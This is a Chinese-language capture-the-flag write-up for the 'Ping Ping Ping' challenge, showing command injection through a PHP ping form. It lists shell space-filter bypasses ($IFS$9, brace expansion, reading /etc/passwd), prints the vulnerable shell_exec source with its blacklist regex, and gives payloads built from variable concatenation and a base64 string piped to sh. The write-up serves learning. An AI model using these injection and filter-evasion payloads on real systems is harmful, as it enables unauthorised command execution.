Ping Ping Ping
提示给了ping ip,直接猜命令执行拼接,试了一下
127.0.0.1;ls
发现是可以的,接下来就是cat flag.php,发现有过滤:
Linux表示空格有几种方法:
- 1.
%20(space)
、%09(tab)
- 2.使用
<
或者<>
来绕过空格cat<a.txt
- 3.花括号扩展{OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
- 4.$IFS 空格绕过
$IFS$9
${IFS}
- 5.变量控制
X=$'cat\x09./flag.php
这里也 稍微学习了一下
$IFS
是什么。$IFS
为内部域分隔符,在默认情况下可以表示空格,也可以自定义为换行符、Tab或者其他奇怪的符号。通常有这几种利用的方式:$ cat$IFSflag.php #false Linux无法区分系统变量名
$ cat${IFS}flag.php #true 加上{}起到固定变量名的作用
$ cat$IFS$9flag.php #true $9为当前系统shell进程的第九个参数的持有者,其始终为字符串
这里绕过方式:
$ cat$IFS$9flag.php
然后发现flag被过滤了,但是index.php没有被过滤,利用命令执行读取index.php源码:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
方式一:内联执行
a=f;d=ag;c=l;cat$IFS$a$c$d.php
利用字符串拼接,调换一下字符顺序,绕过过滤。
方式二:sh,bash下编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
利用base64绕过过滤。
Last modified 8mo ago